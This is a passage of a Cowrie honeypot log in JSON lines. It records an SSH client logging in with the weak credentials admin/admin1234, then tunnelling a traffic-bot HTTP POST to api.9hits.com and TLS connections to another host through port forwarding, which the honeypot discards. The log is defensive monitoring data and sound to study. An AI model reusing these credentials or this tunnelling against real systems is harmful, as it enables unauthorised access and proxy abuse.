{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:45.704104Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:46.032742Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:47.439776Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:47.840418Z","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:47.960486Z","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:48.227177Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36 OPR/44.6.2246.127414\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QXZBWlQjNytjdE5CfnhIKg%3D%3DCKA3GXRvj5hMD1YZTzYdbOaQ2QDxvpGh6Am3bvanLxu53daWyKJhwmtHG3AFHTGm29YuNtKj9Tq7X5qN8zV6SuLsSUdIhguL3bdR1SncfbsByICtVty2cqGa8e5FM57mItONzs1LoYLHX6CZafh8dSS27DdCvXiW1HBWAOkx92WGOL4ud0sx%2B1TGvCCXMGPGm7KTAzq6dkDXn2Wd20VIN8htVWp3o3wAgleDLRfIcFCgd69ik%2Bxw83rPXf%2BK28ZvxfdEP411tmILn1XCvgXyTrFwb3dUy97dGH6H5joJSXJSe22sYl5bJvB2x9FFr6q7leq82%2FGpE4F%2BaUQDzqTBgQ7a96t0xGK%2BxmwabJTFN%2BSUMmhmzQlLd1PJ4zsr5tFD9SKuePLShaCNGwJCtjiYcVPbkNJbhUL1v35%2FvETB6Ml6%2FuLUHwy6dvENRCS3HR8HiwXDsXbio8hBOTWSLn4p9yRLQ801brQBx%2BK%2BS5LHFV0u9Q8EC2WY1uwRPjovCzdiS8dT1J8d2Or36LcTVfOeBdhUjS9VBrGA6mqxEkq1xIuGaTOtBVHBjYp2CA9U%2B3CK9Cd1283skHVL4u0kA7GbrTXtLVquCOeSSo3bmWf9%2BscJ%2BOhMSS%2F2sH%2FTjzDz6vcFJ1IG9ED0hmTytmps%2FVO5rOQ2KgZU3zy2cpMu5c%2FRFln1gblXXOQtggdvXQve%2B66Or2nDbOlD5tXytzk9cbilz%2F7I%2Fmk%2FZ7JO9d8dY%2BG66wXcHDbmvflm6RmKxWH4SDhSXLtHHnKfMYFLbdFVQfgFhiUnTdEheosDsMsfs6LLkpfGtXPkrMg%2BJyRIKbTmyP5Jv%2FGRSrfmFZwyuCrpSmsiGu%2BYqmpmm5YilU4K1yJ68eq6lKAbG2CAYVqlPTsaThJIvpHGIp1WK1Sbm8ODBchJjW7kLMb7bOsxXmVeiA3GGPYoLkjKKLqwW4ngUUdRe2mThts5qK8EOHjukHKtuOQ5tC54%2FML8GYYmQcY1IzrFBhFB8g40P%2B5rRG8J%2BmD301ytSkom8LU%2FpjPo6wg0EMx0VuQxShw2rX%2BnWfrjLd5iSGk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36 OPR/44.6.2246.127414\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QXZBWlQjNytjdE5CfnhIKg%3D%3DCKA3GXRvj5hMD1YZTzYdbOaQ2QDxvpGh6Am3bvanLxu53daWyKJhwmtHG3AFHTGm29YuNtKj9Tq7X5qN8zV6SuLsSUdIhguL3bdR1SncfbsByICtVty2cqGa8e5FM57mItONzs1LoYLHX6CZafh8dSS27DdCvXiW1HBWAOkx92WGOL4ud0sx%2B1TGvCCXMGPGm7KTAzq6dkDXn2Wd20VIN8htVWp3o3wAgleDLRfIcFCgd69ik%2Bxw83rPXf%2BK28ZvxfdEP411tmILn1XCvgXyTrFwb3dUy97dGH6H5joJSXJSe22sYl5bJvB2x9FFr6q7leq82%2FGpE4F%2BaUQDzqTBgQ7a96t0xGK%2BxmwabJTFN%2BSUMmhmzQlLd1PJ4zsr5tFD9SKuePLShaCNGwJCtjiYcVPbkNJbhUL1v35%2FvETB6Ml6%2FuLUHwy6dvENRCS3HR8HiwXDsXbio8hBOTWSLn4p9yRLQ801brQBx%2BK%2BS5LHFV0u9Q8EC2WY1uwRPjovCzdiS8dT1J8d2Or36LcTVfOeBdhUjS9VBrGA6mqxEkq1xIuGaTOtBVHBjYp2CA9U%2B3CK9Cd1283skHVL4u0kA7GbrTXtLVquCOeSSo3bmWf9%2BscJ%2BOhMSS%2F2sH%2FTjzDz6vcFJ1IG9ED0hmTytmps%2FVO5rOQ2KgZU3zy2cpMu5c%2FRFln1gblXXOQtggdvXQve%2B66Or2nDbOlD5tXytzk9cbilz%2F7I%2Fmk%2FZ7JO9d8dY%2BG66wXcHDbmvflm6RmKxWH4SDhSXLtHHnKfMYFLbdFVQfgFhiUnTdEheosDsMsfs6LLkpfGtXPkrMg%2BJyRIKbTmyP5Jv%2FGRSrfmFZwyuCrpSmsiGu%2BYqmpmm5YilU4K1yJ68eq6lKAbG2CAYVqlPTsaThJIvpHGIp1WK1Sbm8ODBchJjW7kLMb7bOsxXmVeiA3GGPYoLkjKKLqwW4ngUUdRe2mThts5qK8EOHjukHKtuOQ5tC54%2FML8GYYmQcY1IzrFBhFB8g40P%2B5rRG8J%2BmD301ytSkom8LU%2FpjPo6wg0EMx0VuQxShw2rX%2BnWfrjLd5iSGk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:48.230739Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:48.452298Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xf6\\x95\\x88\\x16\\x05\\xd2\\xde\\x16\\x85w\\xad^\\xbe\\x00\\xee\\xf9\\xd0\\n\\x8cLv\\x8d\\xaa\\xb9\\x86\\x9e\\xeb\\xd8f\\xb6\\x15 +c,\\xcd\\x01\\x91\\x92\\x7f\\r \\x1e\\x84i\\xac\\xe3\\x08a\\xb52&\\xc3\\x88\\xe4\\xc2\\x9a&7`In\\xaf-\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 %;\\n\\xf0O+U\\xea\\xa2\\xb5\\xbb+\\xd7\\x8c\\xab\\r\\xdc\\xc8\\xa7=\\xdd\\xdbB#R\\x1bYU\\x05\\x8a\\\\\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xf6\\x95\\x88\\x16\\x05\\xd2\\xde\\x16\\x85w\\xad^\\xbe\\x00\\xee\\xf9\\xd0\\n\\x8cLv\\x8d\\xaa\\xb9\\x86\\x9e\\xeb\\xd8f\\xb6\\x15 +c,\\xcd\\x01\\x91\\x92\\x7f\\r \\x1e\\x84i\\xac\\xe3\\x08a\\xb52&\\xc3\\x88\\xe4\\xc2\\x9a&7`In\\xaf-\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 %;\\n\\xf0O+U\\xea\\xa2\\xb5\\xbb+\\xd7\\x8c\\xab\\r\\xdc\\xc8\\xa7=\\xdd\\xdbB#R\\x1bYU\\x05\\x8a\\\\\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:48.454960Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:48.916199Z","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:49.180734Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d<4\\x8c\\xca\\x0b\\xe6\\xc4\\roe\\xf2\\tTf\\xa5\\xc1\\x0fW\\x8f\\x08\\x8e\\x9b\\x9f\\xe4\\xab\\x15\\xca\\xa0zfM \\xee9\\xbeM\\xd8??5\\\\\\x9c\\x92\\xd8\\x95\\xcd\\x8a\\xb1\\xb1\\xe9A\\xd0\\xdfa\\x15\\x8f\\x85\\x00\\xff\\xa8\\xca:\\xad\\xb7\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3R\\\\[7jv\\x01\\x18\\xb3s\\xff\\x14\\xbf\\x937\\x1d\\xa7\\xf4\\x94G\\x06;Q:\\x83n\\xbe\\xe7\\xbfx\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d<4\\x8c\\xca\\x0b\\xe6\\xc4\\roe\\xf2\\tTf\\xa5\\xc1\\x0fW\\x8f\\x08\\x8e\\x9b\\x9f\\xe4\\xab\\x15\\xca\\xa0zfM \\xee9\\xbeM\\xd8??5\\\\\\x9c\\x92\\xd8\\x95\\xcd\\x8a\\xb1\\xb1\\xe9A\\xd0\\xdfa\\x15\\x8f\\x85\\x00\\xff\\xa8\\xca:\\xad\\xb7\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3R\\\\[7jv\\x01\\x18\\xb3s\\xff\\x14\\xbf\\x937\\x1d\\xa7\\xf4\\x94G\\x06;Q:\\x83n\\xbe\\xe7\\xbfx\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:49.184703Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:49.676655Z","src_ip":"123.27.168.40","session":"63217823fd9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.5120735168457,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:56.562685Z","src_ip":"172.81.62.90","session":"dd39c6745e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":64027,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa269ebc5fd","protocol":"ssh","message":"New connection: 63.141.242.2:64027 (10.17.0.5:22) [session: faa269ebc5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:57.070309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:57.076070Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","e